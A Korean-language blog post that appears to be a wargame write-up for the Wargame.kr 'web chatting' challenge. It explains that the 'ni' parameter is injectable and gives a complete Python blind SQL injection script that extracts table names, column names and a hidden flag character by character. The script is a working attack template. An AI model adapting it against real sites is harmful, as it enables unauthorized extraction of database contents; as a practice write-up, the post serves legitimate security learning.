ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Wargame.kr web chatting
    WebHacking/Wargame.kr 2018. 2. 26. 00:35

    내가 여태까지 풀어본 문제 중 가장 귀찮고 귀찮은 문제다.



    데이터 AAA를 입력한 결과다 t=1 ni는 인덱스?와 같다고 봐도된다.


    내가 입력했을때 ni = 32539라면 t=1&ni=32539안에 내가 입력한 값이 있다. 그 다음 입력에는 ni 32540에 들어가 있고 이런식 으로 돌아간다.

    우리가 입력할 수 있는 곳은 t,ni,data다. 하나하나 sql injection을 해보면 알겠지만 ni부분에서 sql injection이 된다.

    ni는 우리가 입력한 쿼리로 select를 하여 출력을 해주는 것이 아니기 때문에 blind sql injection을 이용하여서 테이블 이름, 컬럼 이름, 플래그를 얻어야 된다.

    (진짜 귀찮다 ..)


    import urllib2
     
    password = ''
    pw_idx = 1
     
    temp = 48
     
    #limit 0,1 length(table_name) == 8
    #limit 1,1 length(table_name) == 15 table_name = chat_log_secret
     
    #column_name limit 0,1 length(column_name) == 6 column_name == readme
    #readme length == 40
    while True:
        url = 'http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni='
    #    url += 'if((select%20ascii(substr(table_name,{0},1))={1}%20from%20information_schema.tables%20where%20TABLE_TYPE=0x42415345205441424c45%20and%20TABLE_SCHEMA!=0x6d7973716c%20limit%200,1),32539,(select%201%20union%20select%202))'.format(pw_idx,temp)
    #    url += 'if((select%20ascii(substr(COLUMN_NAME,{0},1))={1}%20from%20information_schema.columns%20where%20table_name=0x636861745f6c6f675f736563726574%20limit%200,1),32539,(select%201%20union%20select%202))'.format(pw_idx,temp)
        url += 'if((select%20ascii(substr(readme,{0},1))={1}%20from%20chat_log_secret),32539,(select%201%20union%20select%202))'.format(pw_idx,temp)
        req = urllib2.Request(url)
        req.add_header('User-Agent','Mozilla/5.0')
        req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
        print url
        data = urllib2.urlopen(req).read()
        if 'AAaA' in data: #AAaA == my input
            password += chr(temp)
            temp = 48
            pw_idx += 1
            print 'Search {0}'.format(password)
            if pw_idx > 40:
                break
        else:
            temp += 1
     
    print 'Success {0}'.format(password)
     
    cs



    -소스 설명은 생략-

    필드 개수, 테이블 개수, 컬럼 개수는 limit을 이용하여서 쿼리가 제대로 먹히는지 확인하면서 알아낼 수 있었다.


    'WebHacking > Wargame.kr' 카테고리의 다른 글

    Wargame.kr lonely guys  (0) 2018.02.26
    Wargame.kr dmbs335  (0) 2018.02.26
    Wargame.kr SimpleBoard  (0) 2018.02.26
    Wargame.kr tmitter  (0) 2018.02.25
    Wargame.kr type confusion  (0) 2018.02.25
Designed by Tistory.